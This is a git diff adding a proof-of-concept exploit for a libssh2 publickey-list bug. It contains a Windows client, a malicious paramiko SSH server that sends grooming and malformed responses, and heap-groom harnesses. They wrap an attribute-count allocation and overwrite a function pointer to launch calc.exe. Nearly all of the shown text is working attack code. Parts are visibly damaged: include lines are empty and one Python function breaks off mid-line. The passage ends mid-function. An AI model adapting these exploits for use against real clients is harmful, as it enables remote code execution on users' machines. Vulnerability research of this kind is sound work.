diff --git a/libssh2-publickey-list-calc-poc/poc/live_publickey_client_win64.c b/libssh2-publickey-list-calc-poc/poc/live_publickey_client_win64.c new file mode 100644 index 0000000..4994b4d --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/live_publickey_client_win64.c @@ -0,0 +1,349 @@ +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include +#include +#include +#include + +#include "libssh2.h" +#include "libssh2_publickey.h" + +#define FIXED_VICTIM_ADDR ((uintptr_t)0x0000013370000000ULL) +#define MAX_RECORDS 16384 + +struct victim { + void (*cb)(void); + unsigned char pad[120]; +}; + +struct alloc_record { + void *ptr; + int live; +}; + +static HANDLE app_heap; +static struct alloc_record records[MAX_RECORDS]; +static struct victim *stale_victim; +static int victim_freed; +static int launch_real_calc; +static unsigned long heap_free_failures; +static unsigned long ignored_unknown_frees; + +static void track_ptr(void *ptr) +{ + size_t i; + + if(!ptr) + return; + for(i = 0; i < MAX_RECORDS; i++) { + if(!records[i].live) { + records[i].ptr = ptr; + records[i].live = 1; + return; + } + } +} + +static int untrack_ptr(void *ptr) +{ + size_t i; + + for(i = 0; i < MAX_RECORDS; i++) { + if(records[i].live && records[i].ptr == ptr) { + records[i].live = 0; + return 1; + } + } + return 0; +} + +static void safe_callback(void) +{ + fprintf(stderr, "safe_callback_reached\n"); +} + +static void launch_calc_callback(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("live_ssh_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("live ssh calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "calc_payload_reached callback=%p\n", + launch_calc_callback); + + if(launch_real_calc) { + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, + &si, &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + } + + ExitProcess(77); +} + +static void *app_alloc_raw(size_t size) +{ + void *ptr = HeapAlloc(app_heap, 0, size ? size : 1); + track_ptr(ptr); + return ptr; +} + +static void app_free_raw(void *ptr) +{ + if(!ptr) + return; + + if(ptr == stale_victim) { + victim_freed = 1; + fprintf(stderr, "victim_free_callback ptr=%p\n", ptr); + return; + } + + if(!untrack_ptr(ptr)) { + ignored_unknown_frees++; + fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr); + return; + } + + if(!HeapFree(app_heap, 0, ptr)) { + heap_free_failures++; + fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr, + (unsigned long)GetLastError()); + } +} + +static LIBSSH2_ALLOC_FUNC(app_alloc) +{ + void *ptr; + + (void)abstract; + ptr = app_alloc_raw(count); + fprintf(stderr, "alloc size=%llu ptr=%p\n", + (unsigned long long)(count ? count : 1), ptr); + return ptr; +} + +static LIBSSH2_FREE_FUNC(app_free) +{ + (void)abstract; + fprintf(stderr, "free ptr=%p\n", ptr); + app_free_raw(ptr); +} + +static LIBSSH2_REALLOC_FUNC(app_realloc) +{ + void *newptr; + + (void)abstract; + if(!ptr) + return app_alloc(count, abstract); + if(!untrack_ptr(ptr)) { + ignored_unknown_frees++; + fprintf(stderr, "realloc_ignored_unknown old=%p size=%llu\n", ptr, + (unsigned long long)(count ? count : 1)); + return NULL; + } + newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1); + if(newptr) + track_ptr(newptr); + fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr, + (unsigned long long)(count ? count : 1), newptr); + return newptr; +} + +static int init_fixed_victim(void) +{ + struct victim payload; + + stale_victim = (struct victim *)VirtualAlloc( + (LPVOID)FIXED_VICTIM_ADDR, sizeof(*stale_victim), + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if(!stale_victim) { + fprintf(stderr, "fixed_victim_alloc_failed addr=0x%016llx error=%lu\n", + (unsigned long long)FIXED_VICTIM_ADDR, + (unsigned long)GetLastError()); + return 0; + } + + memset(stale_victim, 0x42, sizeof(*stale_victim)); + stale_victim->cb = safe_callback; + memset(&payload, 0x43, sizeof(payload)); + payload.cb = launch_calc_callback; + + fprintf(stderr, + "fixed_victim=%p victim_size=%llu replacement_callback=%p\n", + stale_victim, (unsigned long long)sizeof(*stale_victim), + launch_calc_callback); + return 1; +} + +static SOCKET connect_tcp(const char *host, const char *port) +{ + struct addrinfo hints; + struct addrinfo *res = NULL; + struct addrinfo *cur; + SOCKET sock = INVALID_SOCKET; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + + if(getaddrinfo(host, port, &hints, &res) != 0) + return INVALID_SOCKET; + + for(cur = res; cur; cur = cur->ai_next) { + sock = socket(cur->ai_family, cur->ai_socktype, cur->ai_protocol); + if(sock == INVALID_SOCKET) + continue; + if(connect(sock, cur->ai_addr, (int)cur->ai_addrlen) == 0) + break; + closesocket(sock); + sock = INVALID_SOCKET; + } + + freeaddrinfo(res); + return sock; +} + +static void print_last_error(LIBSSH2_SESSION *session, const char *where) +{ + char *errmsg = NULL; + int errlen = 0; + int err = libssh2_session_last_error(session, &errmsg, &errlen, 0); + + fprintf(stderr, "%s_failed err=%d msg=%.*s\n", where, err, errlen, + errmsg ? errmsg : ""); +} + +int main(int argc, char **argv) +{ + const char *host = "127.0.0.1"; + const char *port = "2228"; + WSADATA wsadata; + SOCKET sock; + LIBSSH2_SESSION *session; + LIBSSH2_PUBLICKEY *pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + struct victim replacement_payload; + struct victim *replacement; + int rc; + + if(argc > 1) + host = argv[1]; + if(argc > 2) + port = argv[2]; + if(argc > 3 && !strcmp(argv[3], "calc")) + launch_real_calc = 1; + + app_heap = HeapCreate(0, 0, 0); + if(!app_heap) + return 69; + if(!init_fixed_victim()) + return 68; + + memset(&replacement_payload, 0x43, sizeof(replacement_payload)); + replacement_payload.cb = launch_calc_callback; + + if(WSAStartup(MAKEWORD(2, 2), &wsadata) != 0) + return 2; + + rc = libssh2_init(0); + if(rc) { + fprintf(stderr, "libssh2_init_failed rc=%d\n", rc); + return 3; + } + + sock = connect_tcp(host, port); + if(sock == INVALID_SOCKET) { + fprintf(stderr, "connect_failed host=%s port=%s error=%d\n", host, + port, WSAGetLastError()); + return 4; + } + fprintf(stderr, "tcp_connected host=%s port=%s\n", host, port); + + session = libssh2_session_init_ex(app_alloc, app_free, app_realloc, NULL); + if(!session) + return 5; + libssh2_session_set_blocking(session, 1); + rc = libssh2_session_method_pref( + session, LIBSSH2_METHOD_KEX, + "curve25519-sha256,curve25519-sha256@libssh.org," + "ecdh-sha2-nistp256,diffie-hellman-group14-sha256," + "diffie-hellman-group14-sha1"); + if(rc) + fprintf(stderr, "kex_pref_rc=%d\n", rc); + + rc = libssh2_session_handshake(session, (libssh2_socket_t)sock); + if(rc) { + print_last_error(session, "handshake"); + return 6; + } + fprintf(stderr, "ssh_handshake=ok\n"); + + rc = libssh2_userauth_password(session, "user", "pass"); + if(rc) { + print_last_error(session, "password_auth"); + return 7; + } + fprintf(stderr, "ssh_auth=ok\n"); + + pkey = libssh2_publickey_init(session); + if(!pkey) { + print_last_error(session, "publickey_init"); + return 8; + } + fprintf(stderr, "publickey_init=ok\n"); + + { + int attempt; + for(attempt = 1; attempt <= 1000; attempt++) { + rc = libssh2_publickey_list_fetch(pkey, &num_keys, &list); + if(rc != LIBSSH2_ERROR_EAGAIN) + break; + Sleep(10); + } + } + fprintf(stderr, + "list_fetch_rc=%d num_keys=%lu victim_freed=%d ignored_unknown_frees=%lu heap_free_failures=%lu\n", + rc, num_keys, victim_freed, ignored_unknown_frees, + heap_free_failures); + if(rc) + print_last_error(session, "list_fetch"); + + replacement = NULL; + if(victim_freed) + replacement = stale_victim; + else + replacement = (struct victim *)app_alloc_raw(sizeof(*replacement)); + + fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement, + replacement == stale_victim); + if(replacement) + memcpy(replacement, &replacement_payload, sizeof(replacement_payload)); + + fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb); + stale_victim->cb(); + + return victim_freed ? 2 : 1; +} diff --git a/libssh2-publickey-list-calc-poc/poc/live_publickey_server.py b/libssh2-publickey-list-calc-poc/poc/live_publickey_server.py new file mode 100644 index 0000000..b97227f --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/live_publickey_server.py @@ -0,0 +1,184 @@ +import argparse +import socket +import struct +import sys +import threading +import time + +import paramiko + + +DEFAULT_HOST = "127.0.0.1" +DEFAULT_PORT = 2228 +DEFAULT_VICTIM = 0x0000013370000000 +LIST_ENTRY_SIZE_WIN64 = 48 + + +def ssh_string(value): + return struct.pack(">I", len(value)) + value + + +def subsystem_packet(payload): + return struct.pack(">I", len(payload)) + payload + + +def version_response(): + return subsystem_packet(ssh_string(b"version") + struct.pack(">I", 2)) + + +def version_groom_response(attrs_ptr, offsets): + payload_len = 9 * LIST_ENTRY_SIZE_WIN64 + payload = bytearray(payload_len) + prefix = ssh_string(b"version") + payload[: len(prefix)] = prefix + for offset in offsets: + struct.pack_into("I", header)[0] + return recv_exact(channel, length) + + +def send_all(channel, data): + offset = 0 + while offset < len(data): + sent = channel.send(data[offset:]) + if sent <= 0: + raise EOFError("send failed") + offset += sent + + +def serve_publickey_channel(channel, attrs_ptr, offsets, hold_seconds, done): + try: + client_version = recv_subsystem_packet(channel) + print(f"server_recv_version_len={len(client_version)}", flush=True) + send_all(channel, version_response()) + print("server_sent_version=1", flush=True) + + client_list = recv_subsystem_packet(channel) + print(f"server_recv_list_len={len(client_list)}", flush=True) + send_all(channel, version_groom_response(attrs_ptr, offsets)) + print( + f"server_sent_groom_attrs=0x{attrs_ptr:016x} offsets={offsets}", + flush=True, + ) + send_all(channel, malformed_publickey_response()) + print("server_sent_malformed_publickey=1", flush=True) + time.sleep(hold_seconds) + except Exception as exc: + print(f"server_error={exc}", flush=True) + finally: + done.set() + try: + channel.close() + except Exception: + pass + + +class PublickeyServer(paramiko.ServerInterface): + def __init__(self, attrs_ptr, offsets, hold_seconds, done): + self.attrs_ptr = attrs_ptr + self.offsets = offsets + self.hold_seconds = hold_seconds + self.done = done + + def check_auth_password(self, username, password): + print(f"auth username={username!r} password_len={len(password)}", flush=True) + return paramiko.AUTH_SUCCESSFUL + + def get_allowed_auths(self, username): + return "password" + + def check_channel_request(self, kind, chanid): + print(f"channel_request kind={kind!r} chanid={chanid}", flush=True) + if kind == "session": + return paramiko.OPEN_SUCCEEDED + return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED + + def check_channel_subsystem_request(self, channel, name): + print(f"subsystem_request name={name!r}", flush=True) + if name != "publickey": + return False + worker = threading.Thread( + target=serve_publickey_channel, + args=( + channel, + self.attrs_ptr, + self.offsets, + self.hold_seconds, + self.done, + ), + daemon=True, + ) + worker.start() + return True + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default=DEFAULT_HOST) + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument("--victim", type=lambda s: int(s, 0), default=DEFAULT_VICTIM) + parser.add_argument( + "--offset", + dest="offsets", + action="append", + type=lambda s: int(s, 0), + default=None, + ) + parser.add_argument("--hold", type=float, default=2.0) + args = parser.parse_args() + offsets = args.offsets if args.offsets is not None else [27] + host_key = paramiko.RSAKey.generate(2048) + done = threading.Event() + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((args.host, args.port)) + sock.listen(1) + print( + f"server_listening={args.host}:{args.port} victim=0x{args.victim:016x} offsets={offsets}", + flush=True, + ) + + client, addr = sock.accept() + print(f"server_client={addr[0]}:{addr[1]}", flush=True) + transport = paramiko.Transport(client) + transport.add_server_key(host_key) + transport.start_server( + server=PublickeyServer(args.victim, offsets, args.hold, done) + ) + channel = transport.accept(20) + if channel is None: + print("server_no_channel=1", flush=True) + return 1 + + done.wait(20) + transport.close() + sock.close() + print("server_done=1", flush=True) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c new file mode 100644 index 0000000..5ff335f --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c @@ -0,0 +1,448 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "libssh2_priv.h" +#include "libssh2_publickey.h" +#include "channel.h" + +#define PAIRS 4096 +#define VICTIM_SIZE 4 +#define DEFAULT_MARKER_VALUE 0x41424344UL +#define DEFAULT_TARGET_INDEX (PAIRS - 8) + +static unsigned char wire[4096]; +static size_t wire_len; +static size_t wire_off; +static void *small_chunks[PAIRS]; +static void *fillers[PAIRS][3]; +static unsigned char *victims[PAIRS]; +static void *attrs_ptr; +static size_t attrs_msize; +static int terminal_attr = 0; +static char terminal_field = 'n'; +static uint32_t marker_value = DEFAULT_MARKER_VALUE; +static int call_mode; +static int target_index = DEFAULT_TARGET_INDEX; +static int private_heap_mode; +static HANDLE proof_heap; + +static void reached_marker(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("x86_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("x86 calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "marker_function_reached address=%p\n", reached_marker); + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, + &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + ExitProcess(77); +} + +static void *proof_malloc(size_t size) +{ + if(private_heap_mode) + return HeapAlloc(proof_heap, 0, size ? size : 1); + return malloc(size ? size : 1); +} + +static void *proof_calloc(size_t size) +{ + void *ptr = proof_malloc(size); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static void proof_free(void *ptr) +{ + if(private_heap_mode) + HeapFree(proof_heap, 0, ptr); + else + free(ptr); +} + +static void *proof_realloc(void *ptr, size_t size) +{ + if(!ptr) + return proof_malloc(size); + if(private_heap_mode) + return HeapReAlloc(proof_heap, 0, ptr, size ? size : 1); + return realloc(ptr, size ? size : 1); +} + +static size_t proof_msize(void *ptr) +{ + if(private_heap_mode) { + SIZE_T size = HeapSize(proof_heap, 0, ptr); + return size == (SIZE_T)-1 ? 0 : (size_t)size; + } + return _msize(ptr); +} + +static LIBSSH2_ALLOC_FUNC(heap_alloc) +{ + void *ptr; + + (void)abstract; + if(count == 4) + ptr = proof_malloc(count); + else + ptr = proof_calloc(count); + if(count == 4) { + attrs_ptr = ptr; + attrs_msize = ptr ? proof_msize(ptr) : 0; + fprintf(stderr, "attrs_alloc requested=%lu ptr=%p msize=%lu\n", + (unsigned long)count, ptr, (unsigned long)attrs_msize); + } + return ptr; +} + +static LIBSSH2_FREE_FUNC(heap_free) +{ + (void)abstract; + if(ptr == attrs_ptr) + return; + proof_free(ptr); +} + +static LIBSSH2_REALLOC_FUNC(heap_realloc) +{ + void *newptr; + + (void)abstract; + if(!ptr) + return heap_alloc(count, abstract); + newptr = proof_realloc(ptr, count); + return newptr; +} + +int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg) +{ + if(session) { + session->err_code = errcode; + session->err_msg = (char *)errmsg; + } + return errcode; +} + +int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg, + int errflags) +{ + (void)errflags; + return ssh2_err(session, errcode, errmsg); +} + +uint32_t ssh2_ntohu32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | (uint32_t)buf[3]; +} + +void ssh2_htonu32(unsigned char *buf, uint32_t value) +{ + buf[0] = (unsigned char)(value >> 24); + buf[1] = (unsigned char)(value >> 16); + buf[2] = (unsigned char)(value >> 8); + buf[3] = (unsigned char)value; +} + +void ssh2_store_u32(unsigned char **buf, uint32_t value) +{ + ssh2_htonu32(*buf, value); + *buf += 4; +} + +int ssh2_store_str(unsigned char **buf, const char *str, size_t len) +{ + ssh2_store_u32(buf, (uint32_t)len); + memcpy(*buf, str, len); + *buf += len; + return 0; +} + +ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id, + const unsigned char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + (void)buf; + return (ssize_t)buflen; +} + +ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id, + char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + if(wire_off + buflen > wire_len) + return -1; + memcpy(buf, wire + wire_off, buflen); + wire_off += buflen; + return (ssize_t)buflen; +} + +int ssh2_channel_free(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int ssh2_channel_close(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int libssh2_session_last_errno(LIBSSH2_SESSION *session) +{ + return session ? session->err_code : 0; +} + +int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time) +{ + (void)session; + (void)start_time; + return 0; +} + +LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session, + const char *channel_type, + uint32_t channel_type_len, + uint32_t window_size, + uint32_t packet_size, + const unsigned char *message, + size_t message_len) +{ + (void)session; + (void)channel_type; + (void)channel_type_len; + (void)window_size; + (void)packet_size; + (void)message; + (void)message_len; + return NULL; +} + +int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel, + const char *request, size_t request_len, + const char *message, size_t message_len) +{ + (void)channel; + (void)request; + (void)request_len; + (void)message; + (void)message_len; + return LIBSSH2_ERROR_SOCKET_NONE; +} + +int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode) +{ + (void)channel; + (void)ignore_mode; + return 0; +} + +void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size) +{ + void *ptr = heap_alloc(size, session ? session->abstract : NULL); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static unsigned char *put_string(unsigned char *p, const char *s) +{ + size_t len = strlen(s); + ssh2_store_u32(&p, (uint32_t)len); + memcpy(p, s, len); + return p + len; +} + +static unsigned char *put_response(unsigned char *w, unsigned char *payload, + size_t payload_len) +{ + ssh2_htonu32(w, (uint32_t)payload_len); + memcpy(w + 4, payload, payload_len); + return w + 4 + payload_len; +} + +static void build_attr_spray_response(void) +{ + unsigned char payload[3072]; + unsigned char status[64]; + unsigned char *p = payload; + unsigned char *s = status; + unsigned char *w = wire; + uint32_t attr_size = (uint32_t)sizeof(libssh2_publickey_attribute); + uint32_t num_attrs = (uint32_t)((0x100000000ULL / attr_size) + 1); + int i; + + p = put_string(p, "publickey"); + p = put_string(p, "n"); + p = put_string(p, "b"); + ssh2_store_u32(&p, num_attrs); + for(i = 0; i < 80; i++) { + if(i == terminal_attr && terminal_field == 'n') { + ssh2_store_u32(&p, marker_value); + break; + } + else + ssh2_store_u32(&p, 0); + if(i == terminal_attr && terminal_field == 'v') { + ssh2_store_u32(&p, marker_value); + break; + } + else + ssh2_store_u32(&p, 0); + } + w = put_response(w, payload, (size_t)(p - payload)); + + s = put_string(s, "status"); + ssh2_store_u32(&s, 0); + ssh2_store_u32(&s, 0); + ssh2_store_u32(&s, 0); + w = put_response(w, status, (size_t)(s - status)); + + wire_len = (size_t)(w - wire); + fprintf(stderr, "attr_size=%lu num_attrs=0x%08lx wrapped=%lu wire=%lu\n", + (unsigned long)attr_size, (unsigned long)num_attrs, + (unsigned long)(num_attrs * attr_size), + (unsigned long)wire_len); +} + +static void groom_heap(void) +{ + int i; + + for(i = 0; i < PAIRS; i++) { + small_chunks[i] = proof_malloc(4); + fillers[i][0] = proof_malloc(4); + fillers[i][1] = proof_malloc(4); + fillers[i][2] = proof_malloc(4); + victims[i] = proof_malloc(VICTIM_SIZE); + memset(victims[i], 0x45, VICTIM_SIZE); + *(uint32_t *)(victims[i] + 0) = 0xfeedfaceUL; + } + if(target_index < 0 || target_index >= PAIRS) + target_index = DEFAULT_TARGET_INDEX; + free(small_chunks[target_index]); + fprintf(stderr, "target_index=%d freed_small=%p victim=%p expected_delta=%ld\n", + target_index, small_chunks[target_index], victims[target_index], + (long)(victims[target_index] - + (unsigned char *)small_chunks[target_index])); +} + +static int scan_victims(void) +{ + int i; + int hits = 0; + int marker_hits = 0; + + for(i = 0; i < PAIRS; i++) { + int changed = 0; + if(*(uint32_t *)(victims[i] + 0) != 0xfeedfaceUL) + changed = 1; + if(changed) { + intptr_t delta = attrs_ptr ? + (intptr_t)(victims[i] - (unsigned char *)attrs_ptr) : 0; + fprintf(stderr, "victim[%d]=%p delta=%ld word=%08lx\n", + i, victims[i], (long)delta, + (unsigned long)*(uint32_t *)(victims[i] + 0)); + if(*(uint32_t *)(victims[i] + 0) == marker_value) { + marker_hits++; + if(call_mode) { + void (*fn)(void) = + (void (*)(void))(*(uintptr_t *)(victims[i] + 0)); + fn(); + } + } + hits++; + if(hits >= 8) + break; + } + } + fprintf(stderr, "marker_hits=%d\n", marker_hits); + return marker_hits; +} + +int main(int argc, char **argv) +{ + LIBSSH2_SESSION session; + LIBSSH2_CHANNEL channel; + LIBSSH2_PUBLICKEY pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + int rc; + int hits; + + if(argc > 1) + terminal_attr = atoi(argv[1]); + if(argc > 2 && argv[2][0]) + terminal_field = argv[2][0]; + { + int argi; + for(argi = 3; argi < argc; argi++) { + if(!strcmp(argv[argi], "call")) { + call_mode = 1; + marker_value = (uint32_t)(uintptr_t)reached_marker; + } + else if(!strcmp(argv[argi], "private")) + private_heap_mode = 1; + else + target_index = atoi(argv[argi]); + } + } + + if(private_heap_mode) { + proof_heap = HeapCreate(0, 0, 0); + if(!proof_heap) + return 2; + } + + fprintf(stderr, "terminal_attr=%d terminal_field=%c marker=0x%08lx target_index=%d heap=%s\n", + terminal_attr, terminal_field, (unsigned long)marker_value, + target_index, private_heap_mode ? "private" : "crt"); + + memset(&session, 0, sizeof(session)); + memset(&channel, 0, sizeof(channel)); + memset(&pkey, 0, sizeof(pkey)); + + session.alloc = heap_alloc; + session.free = heap_free; + session.realloc = heap_realloc; + channel.session = &session; + pkey.channel = &channel; + pkey.version = 2; + + groom_heap(); + build_attr_spray_response(); + rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list); + hits = scan_victims(); + fprintf(stderr, "return rc=%d num_keys=%lu list=%p hits=%d attrs_ptr=%p msize=%lu\n", + rc, num_keys, list, hits, attrs_ptr, (unsigned long)attrs_msize); + return hits ? 77 : 1; +} diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c new file mode 100644 index 0000000..4265d98 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c @@ -0,0 +1,410 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "libssh2_priv.h" +#include "libssh2_publickey.h" +#include "channel.h" + +struct victim { + void (*cb)(void); + unsigned char pad[120]; +}; + +#define MAX_RECORDS 8192 + +struct alloc_record { + void *ptr; + int live; +}; + +static HANDLE app_heap; +static unsigned char wire[131072]; +static size_t wire_len; +static size_t wire_off; +static struct victim *stale_victim; +static void *small_guard; +static int victim_freed; +static int launch_real_calc; +static unsigned long heap_free_failures; +static struct alloc_record records[MAX_RECORDS]; + +static void track_ptr(void *ptr) +{ + size_t i; + if(!ptr) + return; + for(i = 0; i < MAX_RECORDS; i++) { + if(!records[i].live) { + records[i].ptr = ptr; + records[i].live = 1; + return; + } + } +} + +static int untrack_ptr(void *ptr) +{ + size_t i; + for(i = 0; i < MAX_RECORDS; i++) { + if(records[i].live && records[i].ptr == ptr) { + records[i].live = 0; + return 1; + } + } + return 0; +} + +static void safe_callback(void) +{ + fprintf(stderr, "safe_callback_reached\n"); +} + +static void launch_calc_callback(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("x64_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("x64 calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "calc_payload_reached callback=%p\n", + launch_calc_callback); + + if(launch_real_calc) { + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, + &si, &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + } + + ExitProcess(77); +} + +static void *app_alloc_raw(size_t size) +{ + void *ptr = HeapAlloc(app_heap, 0, size ? size : 1); + track_ptr(ptr); + return ptr; +} + +static void app_free_raw(void *ptr) +{ + if(ptr) { + if(!untrack_ptr(ptr)) { + heap_free_failures++; + fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr); + return; + } + if(HeapFree(app_heap, 0, ptr)) { + if(ptr == stale_victim) + victim_freed = 1; + } + else { + heap_free_failures++; + fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr, + (unsigned long)GetLastError()); + } + } +} + +static LIBSSH2_ALLOC_FUNC(app_alloc) +{ + void *ptr; + (void)abstract; + ptr = app_alloc_raw(count); + fprintf(stderr, "alloc size=%llu ptr=%p\n", + (unsigned long long)(count ? count : 1), ptr); + return ptr; +} + +static LIBSSH2_FREE_FUNC(app_free) +{ + (void)abstract; + fprintf(stderr, "free ptr=%p\n", ptr); + app_free_raw(ptr); +} + +static LIBSSH2_REALLOC_FUNC(app_realloc) +{ + void *newptr; + (void)abstract; + if(!ptr) + return app_alloc(count, abstract); + newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1); + if(newptr) { + untrack_ptr(ptr); + track_ptr(newptr); + } + fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr, + (unsigned long long)(count ? count : 1), newptr); + return newptr; +} + +int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg) +{ + if(session) { + session->err_code = errcode; + session->err_msg = (char *)errmsg; + } + return errcode; +} + +int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg, + int errflags) +{ + (void)errflags; + return ssh2_err(session, errcode, errmsg); +} + +uint32_t ssh2_ntohu32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | (uint32_t)buf[3]; +} + +void ssh2_htonu32(unsigned char *buf, uint32_t value) +{ + buf[0] = (unsigned char)(value >> 24); + buf[1] = (unsigned char)(value >> 16); + buf[2] = (unsigned char)(value >> 8); + buf[3] = (unsigned char)value; +} + +void ssh2_store_u32(unsigned char **buf, uint32_t value) +{ + ssh2_htonu32(*buf, value); + *buf += 4; +} + +int ssh2_store_str(unsigned char **buf, const char *str, size_t len) +{ + ssh2_store_u32(buf, (uint32_t)len); + memcpy(*buf, str, len); + *buf += len; + return 0; +} + +ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id, + const unsigned char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + (void)buf; + return (ssize_t)buflen; +} + +ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id, + char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + if(wire_off + buflen > wire_len) + return -1; + memcpy(buf, wire + wire_off, buflen); + wire_off += buflen; + return (ssize_t)buflen; +} + +int ssh2_channel_free(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int ssh2_channel_close(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int libssh2_session_last_errno(LIBSSH2_SESSION *session) +{ + return session ? session->err_code : 0; +} + +int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time) +{ + (void)session; + (void)start_time; + return 0; +} + +LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session, + const char *channel_type, + uint32_t channel_type_len, + uint32_t window_size, + uint32_t packet_size, + const unsigned char *message, + size_t message_len) +{ + (void)session; + (void)channel_type; + (void)channel_type_len; + (void)window_size; + (void)packet_size; + (void)message; + (void)message_len; + return NULL; +} + +int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel, + const char *request, size_t request_len, + const char *message, size_t message_len) +{ + (void)channel; + (void)request; + (void)request_len; + (void)message; + (void)message_len; + return LIBSSH2_ERROR_SOCKET_NONE; +} + +int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode) +{ + (void)channel; + (void)ignore_mode; + return 0; +} + +void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size) +{ + void *ptr = app_alloc(size, session ? session->abstract : NULL); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static unsigned char *put_string(unsigned char *p, const char *s) +{ + size_t len = strlen(s); + 